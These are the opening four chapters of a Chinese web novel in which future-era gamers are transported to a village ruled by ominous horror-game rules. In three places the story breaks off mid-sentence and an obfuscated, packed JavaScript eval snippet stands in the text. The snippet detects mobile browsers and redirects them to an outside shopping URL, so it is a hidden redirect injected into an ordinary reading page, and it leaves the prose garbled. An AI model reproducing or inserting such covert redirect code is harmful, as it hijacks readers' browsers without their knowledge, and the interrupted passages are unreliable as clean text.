《全宇宙都在等我成神》 1. 第 1 章 “欢迎来到‘**’” 有归脑海里忽然冒出一行黑色的字体,按理来说这时应该有一个或是机械或是甜美的嗓音同时响起,现在却只有这行字体显眼地挂在那里,很快消失不见,取而代之的是另一行字: 【主线任务:破解村庄隐藏的秘密,获得回家的钥匙。】 不是,这啥玩意儿? 她怀疑自己是不是在做梦,“欢迎......”的确是现在很多游戏会使用的开头,用来引导玩家完成游戏前置任务,比如创造游戏形象、设置ID之类的。但市面上哪家游戏敢这么敷衍玩家,完全跳过前置任务不说,游戏文本居然有屏蔽词,任务也只给一句话,完全没有引导。 真有这种游戏,恐怕上线第一天就得被玩家骂下架。 这啥破游戏,有归吐槽,完全忘了自己曾经的坑爹行为。 脑袋还在一抽一抽的疼,疼得她有些怀疑人生。 她记得自己之前在等电梯,电梯门开的那一瞬间,四周的空气忽然躁动起来,耳畔隐约有细密的呢喃在回荡。 当她下意识分辨其中的内容时,脑海一阵轰鸣般的疼痛,像是大脑里被塞进了足量的炸药并点燃了一样。剧烈的疼痛感占据她的全部思想,她毫无防备地走进电梯,然后就出现在了这里。 明明在电梯外面看,就是一个普普通通的电梯厢,可当她走进去,世界就变了一副模样,真正的无缝衔接,连一点反应的时间都不给她,比最厉害的剪辑师剪出的视频还要精彩。 有归几乎要鼓掌了,如果她不是当事人、亲历者的话。 既来之则安之,她这么安慰自己,但遇到这么坑爹的事情,真的很想破罐子破摔,直接去死得了。 正好她站在一处高崖之上,脚下就是深不可测的渊谷,只要往前一步跳进河里,管它是被谁算计进来的,有什么目的,反正她都被河水卷走了,什么也做不了,什么都不关她的事。但有归回头看了一眼身后,在跳与不跳之间纠结了好久,最后叹口气,往后退了一步。 既然不能彻底躺平,有归勉强打点起精神,观察周边的环境。 对岸是同样陡峭的山壁,只是要矮一些,群山起伏延绵,原始的、天然的山峰一座接着一座,直到天边。没有城镇,没有村庄,也没有暮归的鸟儿在空中飞翔。 还在空中散发着热量的太阳就在她左手边,离山头的距离不算远,橘黄的阳光顺着山坡一路泼洒,尽头的平地上是沉默的村庄。东南西三个方向都被山峰环绕着,阳光将山峰的形状勾勒得十分清晰,满山苍翠与村庄的碧绿形成鲜明对比,仿佛画一般的景象中还有几缕炊烟袅袅升起。 很好,重点十分突出。 她知道自己下一步该做什么了。 ——进村庄找户人家借宿。 真的很服,她是很爱种田,甚至来这里之前还在游戏里种菜卖菜建房子,但也不能因为这个就送她到山村来吧。她来这干嘛呢,难不成真要发挥爱好建设美丽新农村啊? 她一心二用着,尝试唤出终端,发现竟然还能用,只是无法与人通信,只能查阅下载在里面的资料。她想了想,试着看能不能连接这个世界的网络,结果是不能,但不确定是这个世界太落后,还是终端过于高级导致和这个世界有代沟。 前往村庄的路上,有归遇到一个男人,名字叫黎重,黑发金眸,长得很好看,身高尤其突出,她也就到人胸口那。 一番交流后,有归确定除了都来自星历3873年之外,两人来到这里的经历没有一点相似。 黎重是那种让人很乐意和他组队的玩家,有归还没来得及旁敲侧击呢,他已经开始主动分享自己的情报:“我们现在应该是在云国西南的云雾山脉深处,任务地点就是前面那个村庄,名字叫做孟溪村。时间的话......”他看向前方,“是新历999年左右,这个时候的云国经济还没起飞,这种大山深处连电都没有通。”哦,历史知识还挺丰富。 很好,是天赐的神仙游戏搭子。 有归嗯了一声,勉强算是给了点反馈,黎重说:“根据任务要求,我们要在太阳落山之前进入村庄。” “这个游戏非常非常真实,”他强调,“游戏时间是按照现实设计的,如果我们这次错过,可能永远也无法完成这个任务了。” 有归又嗯了一声,虽然已经把脑子调到停摆状态了,但她知道黎重肯定是把自己当作背着大人偷偷玩游戏的在读学生了。她没解释,这个世界有点奇怪,虽然黎重自称游戏玩家,但还是需要认真观察后才能下结论。 介绍清楚情况,黎重没再说话,两人抓紧时间赶路。直到转过一个矮坡,忽然听到有人说:“哎,两位......” 黎重停下,她也停,抬头一看,进村的路口站着一男一女,像是从高处看到了他们特意站在那等的。两人外貌都十分出众,一般的黑发黑眸,面容还有几分相似,大概是兄妹或者姐弟,招呼他们是那个姑娘。等他们走近,就见那姑娘眉眼弯弯,自我介绍道:“你们好,我叫周嘉语,这是我哥哥周嘉文。” 黎重说了两人的名字,转头看了眼太阳:“先进去吧,一会儿再聊。” 周氏兄妹俩站着的地方立着一块大石,上面是龙飞凤舞的三个大字:孟溪村。村子外围是一圈石头砌成的矮墙,矮墙后的房屋是统一的白色墙面、黛青的瓦,十分整齐。村庄栽种着许多树木,树干高出房屋许多,巨大的树冠几乎连成一片,把整个村子都笼罩在阴影里面,再配上黛瓦白墙,只消看上一眼,就觉得浑身都凉快了,消暑功效十分显著。 周氏兄妹打头,黎重殿后,有归在中间,四人按顺序进入村子。有归才走到村口的石门底下,就觉一阵寒意从脚底升起,沿后背一路直达大脑,呢喃的低语又在耳边响起。但一恍神,方才那股寒凉却又消失得无影无踪,让人想要发疯的耳语仿佛从没有出现。迎面扑来一阵凉风,树荫也罩住了村口,树下阴阴生凉,拂去众人心头的燥热,只觉通体舒泰。 第二次了。 这是有多了解她,多怕她会临阵脱逃,才时刻提醒她这个世界的异常。 有归觉得有点烦躁。 烦归烦,躁归躁,她脚步一点没停顿。周嘉语回头看了一眼,又瞅了瞅还有半张脸露在外面的太阳,拍拍手,笑说:“好,接下来就是找人问路,看看这个村中小楼在什么地方,在天黑之前赶到那里就行了。” 很快他们就找到一个可以问路的人。 只是这个人不仅年龄不对,智商可能也不太对劲。周嘉语问她村中专门招待客人的小楼怎么走,她只是嘿嘿傻笑,倒是没有流口水,但任凭周嘉语怎么询问,她都只是笑。 周嘉语被闹得没有脾气,只好放弃继续交流的想法,另寻目标。她倒是很乐观:“现在这个时间点,应该是农村吃完晚饭去邻居家串门的时候,要再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412490|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到一个可以问路的人应该不难。” 另外两人看上去和周嘉语一样开朗,有归像条小尾巴一样坠在三人身后,他们走自己也走,他们停自己也停,思绪已然神游天外。 太阳已经下山,还是没有遇到第二个村民,看来村民们都有着十分健康的生活作息。周嘉语吐槽了句这什么破游戏任务指引居然没有地点方向全靠自己找,然后认命地敲了最近一户人家的门。孟溪村的房屋样式都大差不差,也就大点小点的区别,她选的这家人属于比较小的,墙面的白漆脱落大半,苍翠的青苔爬满了墙角,柴禾垛整齐地码放在一边。 很久屋里才有动静,一阵细碎的声响后,有人从里面打开门,一张苍老的脸出现在众人面前。是一个拄着拐的老婆婆,她的腰已经直不起来了,仰着头和他们说话:“是新来的啊,你们有什么事?” 周嘉语蹲下身轻声询问:“老人家,请问村中小楼怎么走?” 那老婆婆目光飘忽,在她们四人身上转过,面色忽然一变,语气凶狠,要赶她们走:“我不知道什么小楼,村子里也没有这样的地方,你们从哪来回哪去,这里不欢迎你们!”说着就要把门关上。 “欸欸欸,婆婆您有话好说,我们也没有得罪您,只是问个路,怎么开口就赶人呢?”周嘉语一手抵着门,一边和老婆婆理论。 老婆婆不接她的话茬,只是让他们赶快走。 周嘉文说:“外面全是大山,天又要黑了,婆婆你要赶我们去哪里?山里那么危险,夜里山路也不好走,要是真出什么事您良心恐怕也过不去吧?” 老人家没说话,过了好一会儿,声音嘶哑地开口:“你们不该来这儿。走吧,哪怕遇到大虫,哪怕摔下悬崖,也不要留在这里。” 几人面面相觑,黎重注意到了她那隐晦的打量,眼角余光瞟了一下有归,顺势道:“既然您不愿意,那我们就不打扰了,再见。” 周嘉语愣住:她们好不容易才找到人问了,就这么走了? 黎重略偏头,说:“既然婆婆不想说,我们就不要强人所难了,就算找不到人问路,村子不大,我们一间间找过去,时间也来得及。”说着就要走。 老婆婆的目光三番四次往有归那个方向溜,周嘉语恍然,收回手,想了想对老人道:“婆婆不好意思,就不打扰您了,再见。” 周嘉文也跟着道歉,三人作势离开。 有归在后面看完这一幕,忽然想起了一句俗话:人生如戏,全靠演技。面前这几位演就演吧,还都喜欢给她加戏。 她一点也不想上场,但人家都把剧本安排好了,她不动不知道剧情会歪到哪去。 虽然很想撂挑子,看强行给她加戏的三人怎么收场,但有归想了想,还是问那老婆婆:“您的意思是,如果我们坚持要留下来,会不得好死是吗?您刚才的话是这个意思吗?” 老婆婆干瘪的嘴唇动了动,声音喑哑难听:“是,你们留下来只会死无葬身之地……” 意料之中的走向,有归没回头,指着黎重三人说:“但来到这里不是他们的选择,他们也不该得到这样的结局。曾经您默许了这样的事情发生,这次您却开口了,您可以帮助我们的逃离这里吗?” “呵呵……”老婆婆笑了起来,“村子里来来往往很多人,没有人会向一个老太婆求助,所以他们都死了。但我希望你们可以活,这个东西拿去吧,它会告诉你们一些事情。” 2. 第 2 章 告别老婆婆,四人向村子西边专门招待外来客人的小楼走去。 周嘉语拍了拍有归的肩膀,笑眯眯道:“这个游戏真是处处惊喜,刚进来竟然就触发了隐藏剧情。” 身体下意识地反应让有归往旁边让了让,抬头就见周嘉语一脸受伤地看着她,表情如泣如诉,如怨如慕——这么好的演技不去当演员可惜了,也不知道那么大高个是怎么好意思的。心里叹口气,她又默默靠了回去,“也不算很惊喜,毕竟那个老人家看了我好多眼,暗示的太明显了。” “这个NPC确实挺有意思的,活人感特别重。如果不是周围环境不对,我又知道这是在游戏里,我肯定以为是在现实里和人说话,太真实了。细节打磨到这种地步,我之前居然没有听说过这个游戏,不应该啊。”周嘉语决定要利用自己的名气为游戏打出知名度,不能让这种精品游戏被埋没了。 “你的感觉确实没错,那就是活人,是真的人。”有归默默说了一句,自己都觉得挺无力的。 果然,三人转过头来看她,但都没把她的话当真:“你是说这个NPC产生意识了?” 并不是,而是她本来就是人。 有归在心里回答。 猜到几人都是正经游戏玩家并不难,毕竟除了游戏人,谁也不会在一个全然陌生的世界见到一个人就打招呼,而且他们也确实没有遮掩过——正经人谁玩游戏还防范队友啊,特殊游戏类型除外。 他们所在的星历3873年,又被称为未来时代,那是一个科技大爆发的时候,游戏厂商推出的作品可以一比一复刻现实世界,玩家与NPC的交流也不再是僵硬的点对话框,而是和现实一般你来我往无法确定——当然这种游戏难度太高,大多数厂商还是会给予玩家明确的指引,用虚线引导路线,以图标指向任务对象。但明显,他们是把这个世界当作超高难度的游戏了。看周嘉语摩拳擦掌跃跃欲试的模样,很明显,在现实世界她不仅是一个高玩,还可能是一个小有名气的游戏博主,所以才一心做通关游戏的第一人。 但有归知道这里并不是游戏世界,因为她刚进来就感受到了这个世界的锚点,数据虚拟世界无法具有的锚点。 也是因为感受到了这个锚点,她才没有直接从悬崖上跳下去。不声不响就把她弄到这里来,这个幕后黑手堪称手段通天,不把这个人找出来她无法安心。现在的话,她坚持的理由又多了一个。 从她进入这个世界到现在的经历来看,这个孟溪村不发生点类似恐怖游戏的惊悚桥段,都白浪费它之前做的铺垫了。气氛已经渲染到位,接下来就是幕布拉开好戏上场,但到底是怎样一个神展开,有归也不能确定,她只能尽可能地保证他们的人身安全。 孟溪村村民聚族而居,村西小楼离老婆婆家不远,几句的工夫,就看到前方屋子后面,立着一座两层高的小楼。那是一座木楼,样式是云国建筑风格中很典型的一种,外观规矩,中轴对称,前面带一个小小的院落。 据老婆婆说,这小楼自建村起就有了,最开始是作为孟溪村的藏书室,初代村长沈凌璧晚年曾长居于此,夜以继日在这里研究。后来第一批建村人去世,这里就空置了,至于怎么就成了招待外来者的居所,那都是近几年的事了。 他们到达木楼时,楼中已经有人在了。一共三个人,两男一女,都转过头看着他们,脸色都不太好看,还有人说:“人终于齐了。” 说话的是三人中浓眉大眼,眉尾一粒小痣的青年,他的名字是卢易斯,坐在他旁边的男人叫戴洪乐,两人是从小一起长大的。另外那个看上去很容易害羞的女孩叫做艾莉安。 刚打照面就听到这么一句话,几人完全摸不着头脑,卢易斯撇了撇嘴,也没有解释的意思。戴洪乐说:“你们看任务面板,任务忽然变了,我们也是刚刚才发现的,情况有些不对劲。” 说着,波纹漾起,有什么东西在空中浮现,是游戏面板的投影。 【主线任务:第一幕烟笼孟溪,血满山岗 第一章血浸孟溪,罪恶浇灌梦魇之花 全员到齐,安全度过第一夜】 【探索任务:?????】 戴洪乐还细心地贴上了此前的任务截图: 【主线任务:第一幕烟笼孟溪,雪满山岗 第一章出发,向祭祖大典前进 前往村中小楼:太阳落山前进入村庄,与村民交谈】 【风物任务: 在我们的旅途中 当雪凝结成霜 向着风的方向 让故事去往昨日 唯有记忆熠熠生辉】 两相对照,谁都能看出来这个世界有问题了。 周嘉语猛然想起什么,回头看了眼有归,张了张嘴:“你之前说那个老人家是真的人,难道意思是这里其实是现实世界?” 见有归点头,周嘉语低声喃喃:“完了完了,这回内测变穿越,还穿越到一看就会出大事的地方。” 说是低声,但小楼厅堂并不大,大家坐得又近,都听到了她说的话。卢易斯问是什么意思,周嘉语撇了撇嘴,看在戴洪乐的面子上,简单说了进村以来的遭遇,重点强调老婆婆和他们的对话以及有归的猜测。卢易斯没听懂:"可是《珈登希露得》本来就是时空穿越游戏,我们本就是在穿越不同的世界。" 原来这个把人骗进来杀的游戏叫做《珈登希露得》,有归默默地想。 但......她看了一眼自己的任务面板,那个主线任务还挂在那里,欢迎词在它的上一行,她看了好几遍,确定被省略的游戏名是两个字,和卢易斯所说对不上,这到底是怎么回事?是她和他们虽然在同一个场景,但其实属于不同的游戏,还是说这个“**”其实来源于某种古老的语言文字,所以才无法显示,而“珈登希露得”其实是它的音译? 周嘉语解释道:“不一样的。市面上的时空穿越游戏说是穿越世界,其实只是比一般的全息游戏更加逼真,感觉更加真实,但还是参照现实世界一比一还原的虚拟数字世界。但现在,我们很可能真的回到了历史上的某个时期,看之前的剧情介绍,是新历999年,这时候的云国才走上发展的道路,很多地方都还保持着原始落后野蛮血腥的习俗。也就是说,如果这里真的是历史上某个困于大山深处的村庄,我们遭遇危险的可能性大大增加,严重点真的会死。” 卢易斯震惊地张大了嘴巴,结巴道:“那、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412491|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我们现、现在怎么办?” 周嘉语耸了耸肩,双手一摊:“不知道。” 卢易斯看上去好像被周嘉语的回答给噎住了,泪水要落不落的含在眼里,求助似的一个个看过去。可惜黎重周嘉文都欣赏不来,直接转头。有归倒是能欣赏,但卢易斯显然和黎重几个一样,把她当背着家长偷偷玩游戏的小朋友了,直接略过她。 挺好,她也不恼,托着下巴听几人讨论接下来的行动,他们考虑的很长远,连怎么收集材料好在出去后向政府举报这个游戏都想到了。但她第一时间想确认的其实是—— “关于这个游戏,你们知道多少?你们是来到这里的方式,是什么样的?” 穿越这种事在小说游戏里已经被写烂了,仿佛只要是个人,就可以随时随地随心所欲的穿越。当这种事情落到现实,又哪是那么容易实现的,真正的穿越有归只见过一次,当无法想象的庞大能量凝聚于一点撕裂时空,产生的力量足以移山填海,但看这几人的表情,似乎来到这里的过程就像进入游戏一样轻松。 见众人面露不解,她无语半晌,忍不住说:“你们不会真的觉得穿越时空来到另一个世界,就跟你们吃饭喝水打游戏一样简单吧?” 黎重&周嘉语&周嘉文:...... 不好意思哈,他们之前真是这么以为的。 黎重第一个开口:“我之前一直在开发的游戏就要开始第一次内测,因此格外关注市面上的新游。《珈登希露得》这个游戏很特别,我非常感兴趣,所以特意研究过,还想过报名参加游戏的内部测试。” 他顿了一下,似乎是在斟酌措辞:“这个游戏......十分奇特.....” “完全没有宣传,从立项之初到这次内测,没有放出过一支宣传视频,研发这款游戏的创世科技也没有在任何一个平台创建过官方账号。” 黎重知道这个游戏,是因为他偶然在网上看到一个玩家发的贴子,标题起的异常耸动: 【珈登希露得——一个杀人如麻的骗子游戏!】 发布时间:0秒前。他立马点进这个帖子,却被平台告知该内容不存在。这让他对这个游戏产生了兴趣,立马以此为关键词在网络上检索,却发现游戏的相关信息在网络上被删的干干净净,偶而跳出一两条相关的讯息,还没等他看清楚,就已经消失不见了。 本来只是一时兴起随手为之,这么一而再再而三的,反而让他对《伽登欧伊甸》的兴趣愈发浓厚,不知疲惫地搜索着,然后他忽然找到了这个游戏的官网。不同于一般游戏官网特别标注获取渠道的首页,这里只放了游戏的介绍词: 【《珈登希露得》——未来时代首款大型真实真人时空穿越游戏! 穿越时空的厚障壁,前往新历999年的弥瑞可大陆,在那已经消逝的历史长河中,捡拾起命运的碎片,世界的真相将在你面前展开: 原初已然毁灭,弃世之主背离神眷之地。恶齿追逐着犬盟,赤月向青光复仇。未来驱散黑暗,背负命运的救世主啊,徘徊在无人的彼岸。 天选者——准备好担负世界的命运了吗?你的每一次选择,都在改变这个世界,最终决定历史的长河走向何方。】 3. 第 3 章 后来这段游戏简介和内测资格一起发送到众人的终端上,周嘉语说:“当时看到这些话第一反应,其实是虽然很谜语人,但这个世界观我是真的很喜欢,一看就有很多可以挖掘的地方。你知道的,作为一个游戏博主,最怕的就是没有话题可以发挥——未来时代首款大型真实真人时空穿越游戏,也是一般游戏常见的宣传手段,当时我确实没有当真,还特别期待游戏赶紧上线。” “为什么这种来历不明的游戏我第一时间不向政府举报反而还满怀期待?这也不奇怪吧,毕竟我怎么说也算是一个小有名气的游戏主播,名不见经传的小工作室直接给我发邀请撞大运的又不是一个两个,这其中因为品质还不错被我推荐后大火的也不少了,我收到游戏的内测邀请再正常不过了。” 有归看了一眼差点被周嘉语这种理所当然的态度给气死的卢易斯,总觉得他好像是在故意针对呢,转头看向黎重。黎重在周嘉语说自己不过是小有名气的时候挑了挑眉,他没想到自己这点表情变化竟被有归看在眼里,面对她的疑惑,他思忖了一会儿,说:“这么说吧,周嘉语虽然只在某时上活跃,但不管是哪个平台,只要评最具影响力的游戏人,她一定会上榜。” 某时,未来时代最著名同时也是拥有最多用户的社交通讯软件,周嘉语能在这样的地方做到顶尖,确实很厉害,卢易斯的刻意针对好像也不是那么让人难理解了。 …… 内测,又是这游戏的另一大奇怪之处:别的游戏都是从报名参加内测的玩家中挑选参加游戏的内部测试,这个游戏却是自己选人参加,黎重本人根本没找到这个游戏的内测报名入口。再比如周嘉语,之前根本没有听说过这个游戏,却在某一天收到关于获得游戏内测资格的消息: 【尊敬周嘉语女士,恭喜你被选中参与《珈登希露得》的内部测试,请您于星历3873年7月12日下午3点在家中静候,届时游戏的大门会为您打开。】 游戏的大门这个说法是有些奇怪,但周嘉语就算多想,也只是觉得进入游戏可能要穿过一扇大门而已,她甚至还兴致勃勃的查找游戏信息,为游戏内测做准备。 哪怕完全没有找到关于游戏的信息,也没觉得有什么不对。毕竟人有千百种,或许这个游戏捂得如此严实,也是一种引起她关注的手段呢?周嘉语得承认,她的确被这种似乎是故意营造出来的神秘感吸引到了,甚至专门发了一条此刻,押注这个游戏会爆冷门,摩拳擦掌要为游戏做第一个测评。 那几天她一直在家里等待,原以为会收到游戏仓游戏头盔之类的东西,或者是终端的邀请,结果直到7月11日,还是什么都没有。听说了这件事的周嘉文担心妹妹特意回了趟家,知道事情经过后决定和她一起等,两人一直等到7月12日当天下午3点,也就是游戏约定的时间。 据周嘉语说,当时间走到3点整,忽然感到家里有什么不一样,他们把房间的门全部打开,并没有发现多什么东西,也没有少什么东西。但两人就是觉得很焦急,心里一直有一个声音在催促他们,催促他们一定要找到异样的地方。 直到周嘉语拉开卧室的衣柜—— 四周忽然变得漆黑一片,只有一扇青铜大门矗立在眼前,这扇门很高,高得望不见顶。门身上古朴庄重的花纹、晦涩难懂的文字无不在散发着冰冷的、生人勿近的气息,兄妹都感受到了难以言喻的急躁和恐惧,恐惧让他们退却,然而内心的躁动迫使他们上前: 周嘉语打开了这扇青铜大门。 ——门内是无尽的黑暗,身后是一片虚无,他们其实别无选择。 进入青铜门,两人来到门的另一边:孟溪村。 黎重也是一样的经历。 当有归看向在他们之前来到村西小楼的三人时,他们几乎是下意识地避开她的目光,然后猛地反应过来,不太自然地点头:“我们也差不多。” 差不多是差多少?但人家摆明了不愿意说,有归也没有刨根问底的爱好,闻言只是点头,陷入沉思之中。 黎重和周氏兄妹的经历与她完全不一样。 来到这里之前,她并没有在家里,她与那些人完成每年一次的例行吵架,然后直接摔门离开。而且时间也不对,那时候是傍晚六点。听黎重他们的描述,这更像是一次假借游戏之名行穿越之实的恶性事件,自从“桃花源”计划失败后,未来政府就禁止所有时空折跃相关的研究,并出台了有史以来最严厉的法律。 自己来到这个世界,是被无辜牵连,还是恶意针对?他们的目的是什么?幕后黑手是谁?一家游戏公司想要绕过政府和科学院,突破相关技术壁垒是根本不可能完成的事情,但,政府和科学院那些人不会对她下手。 千头万绪,思路纷杂,唯一可以确定的是—— “你们不觉得奇怪吗?”众人看向有归,不明白她在说什么。 “想想你们进入这个游戏经历的事情,哪一点不是让人害怕到全身发抖,为什么你们刚才提起的时候却像是在谈论一个普通的游戏?之前就提到过这个孟溪村可能存在的危险,我们刚才剖析了半天,这个游戏费尽心力也要把你们送到这里明显不安好心,可即使是现在,你们好像依旧只是把这当作游戏的一部分,并没有产生类似恐惧这样的情绪,是什么屏蔽了你们的认知?” 仿佛一语惊醒梦醒人,众人这才后知后觉地发现自己应该害怕这件事,他们互相看着对方,看见彼此眼底惊惶蔓延。就在此时,先前投影出来的任务面板如水纹荡漾一般轻轻晃动着,消失不见的瞬间,一行血字陡然浮现! 【主线任务:活下去,破解村庄隐藏的秘密,获得回家的钥匙。】 不是常见的印刷字体,而是在未来时代非常少见的手写字,写的并不如何,姿态张牙舞爪,笔锋却力透纸背,似乎要从无形的禁锢中挣脱出来,扑到众人脸上。原来字也是能传递情绪的。 震惊到了极点,众人刚刚生发出来的负面情绪仿佛一下被冻结了,一时之间,厅中陷入一种奇异的平静之中。 这已经不是暗示明示,是明晃晃地告诉大家,孟溪村有问题,而且是很大的问题,他们只有找出这个问题,并且解决它,才能够回家。 但很明显,孟溪村的问题是有危险的,不然幕后黑手不至于大费周章地把他们弄过来,再想想进村时那个老婆婆的警告,搞不好他们真的会把命留在这里。 然而暂时的平静不过是冰封下的水面,悔恨与恐惧交织,惶惑与迷茫共存......那些微小的、无法说明的情绪混合在一起,酝酿、发酵,最终如火山般喷薄而出。 卢易斯和那个叫艾莉安的女生是最先崩溃的,两人大哭大叫着,卢易斯甚至不顾形象地大喊我要回家,我不参加测试了。如果不是戴洪乐及时拉住他,他恐怕已经冲出去了,哥俩抱头痛哭。周嘉文也没绷住,低着头把脸埋在手掌间无声流泪,肩膀一下一下地抽动。周嘉语伸手拍抚着他的后背,自己只是眼眶微红,黎重也是一样,两人都没有失态,只是难免受到周围环境的影响。 有归坐在一边静静地看着众人,她仿佛抽离了情绪,置身事外,完全不被众人宣泄般的情感所感染。周嘉语给她哥递了纸巾,又走了两步给艾莉安送过去,回头看见卢易斯鼻涕眼泪糊了一脸,好心地把纸留给他了。 众人情绪基本稳定了,只有卢易斯哭的太惨,一时还收不住,还打起了嗝。有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16412492|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归目光从几人身上掠过,问道:“关于《珈登希露得》,你们还知道什么?” 黎重思考了一下,理清思路,才说:“其实,我收到游戏的内测消息后,动用了一点小手段,最后查到了这个游戏的一点蛛丝马迹。这个游戏不像表面那样简单,它似乎有很多玩家,只是这些玩家都聚集在一个专门的论坛,这个论坛只有参加过测试的玩家可以被邀请进入。” “你进不去吗?”有归问。他所谓的小手段就是黑客技术,就是不知道真实水平如何。 黎重摇头:“进不去。不过一些参加过内测的玩家会在网上发帖,虽然刚出现就被删了,但我试着联系了其中一个玩家的信息,然后这个玩家就销声匿迹了。再查下去,发现他所有账号都被注销了,网上的信息也删的一干二净,我通过各种渠道找到他家的地址,很快被警告了......” 卢易斯完全没反应过来,还傻乎乎地问:“这什么意思?” 周嘉语把目光放在他的脸上,说:“政府出手了,游戏和玩家的信息都是政府干涉隐藏的,这说明我们的遭遇是有人知道的,说不定已经有人在想办法破解游戏,救我们出去。” 他们生活的这个叫做弥瑞可大陆的世界,经历过迷失时代、奇迹时代的发展,进入未来时代将近四千年,人类寿命大幅提高,生活环境十分和平,只要愿意工作就可以过得富足幸福,因此催生了一大批社会巨婴,简直比温室里的花朵还要经不住风吹雨打。巨婴是永远需要有人遮风挡雨的,果然,听到有人兜底,卢易斯立马振奋起来,其余几人眼睛也亮了。 有归却没那么乐观,从黎重的描述来看,《珈登希露得》这个游戏的背后的确有未来政府的影子,他们在尽力消除游戏带来的影响,说明这是在他们的控制中的。但孟溪村这里的事情明显超出了未来政府的掌控,那些聚集在论坛的玩家们所经历的测试和他们不同,同一个游戏,不同的难度,那边是大概是正常难度,这里是plus版? 她没有把自己的想法说出来,人之所以努力活着是因为有希望,她不想打击他们的积极性。当务之急,是完成主线任务。他们因为一道门而来到这里,门是连接两个世界的媒介,想要回家,自然要拿到可以打开这扇门的钥匙。 可是要从哪里下手呢?从他们进来到现在还没有一小时,千头万绪诸事繁杂,孟溪村隐藏的秘密是关键。回想从进村到现在所发生的事情,有什么地方是让人感觉到古怪的? 周嘉语和黎重像是想到了什么,不约而同看向有归,有归已经把那张纸条拿出来了,对不明所以的戴洪乐三人解释道:“这是一个老婆婆交给我们的,说是对我们有帮助。我们还没来得及看,现在一起来看看这上面都写了什么吧。” 纸条展开,上面的内容清晰地呈现在众人面前,让所有人都为之变色: 【尊敬的“**”玩家,欢迎来到孟溪村,衷心祝愿你们有一个美妙的旅程。 孟溪村现有135名村民,为了与村民和谐共处,请严格遵守孟溪村村民守则。 一、进入孟溪村之人,只能居住在村西的小楼中,但征得村民同意后,外来者也可借宿村民家中。 二、不要和村民发生冲突,若有摩擦,可请村长裁决,请相信村长会做出最公正的决定。 三、天黑后,无论村民还是外来者,都严禁在村中游荡,尽早上床睡觉;请记住,孟溪村是淳朴和谐的乡村,如果晚上听到什么声音,那都是你的幻觉,把被子拉到头顶尽快入睡,是这时候最明智的选择。 四、祠堂是孟溪村的重地,外来者严禁进入。 五、村子东北角的破屋是孟溪村禁地,严禁任何人进入。】 4. 第 4 章 看清纸条上的内容后,所有人都沉默了。坐在角落女生艾莉安情绪激动异常,她声音颤抖道:“这,这是规则怪谈?” 她求助似的看向有归,但铁一样的事实摆在眼前,强求来的安慰并不会起到作用,有归只是肯定了她的疑问:“是,这就是规则怪谈。” “天哪!”艾莉安惊呼,“难道噩梦乐园卷土重来了吗?” 没有人能够回答这个问题,所有人都只是沉默,沉默地看着那张纸条。 噩梦乐园,是曾经笼罩着弥瑞可大陆的恐怖梦魇,它于1279年3月19日降临这个世界,以规则怪谈的形式。 噩梦乐园的到来并非毫无声息,当时的弥瑞可五国事先都接收到了“邀请”:三个月前,一封邀请函悄无声息出现在各国领导人的办公桌上,同时在网络上公开: 【万人瞩目的大型项目噩梦乐园即将开启新征程,已确定新选址为弥瑞可大陆。 为保证噩梦乐园项目的落实,项目组计划在弥瑞可大陆展开调研,收集原住民的意见,以便保证该项目能顺利落实运转。再次,项目组希望大陆全体居民积极行动起来,共同参与,为即将落成的噩梦乐园项目献计献策,你的每一次行动,都将影响项目的推行。 调研形式:规则怪谈。 调研活动将在新历1279年3月19日下午3点准时开展,敬请期待。】 于是在那个原本稀松平常的下午,一道冰冷无机质的声音回荡在整个弥瑞可大陆的上空。与此同时,世界各国所有显示屏都被打开,配合播报的声音显示字幕。 【坐标:弥瑞可大陆,噩梦乐园项目已审批完成。 正在投放......投放完成。 叮咚!本次调研形式:规则怪谈。 调研主题:无主题。】 毫无预兆地,怪谈,一种由人们口口相传的恐怖故事,真实地出现在人们面前,原本赖以栖身的家园,瞬间成为全人类的噩梦。 唯一可以驱散噩梦的方法,就是参加规则怪谈,并且完成所有挑战,每次成功通关一次规则怪谈,都将有一处随机怪谈消失。因此,弥瑞可五国决议联合起来度过这次难关,由云国牵头,成立噩梦乐园怪谈分析部,共同应对此次危机。 噩梦乐园使得世界人口锐减三分之二,经济遭受重创,人类活动区域骤缩,人们划分出原云国东南和希贝联邦两国接壤的地势平坦的中心平原,修建了超大型城市群——未来城市。 当然,噩梦乐园带来的不仅是危机和挑战,还有机遇。 与此同时,科技开始飞升,人类平均寿命被提高到137岁,并且这一数据还在不断增长。 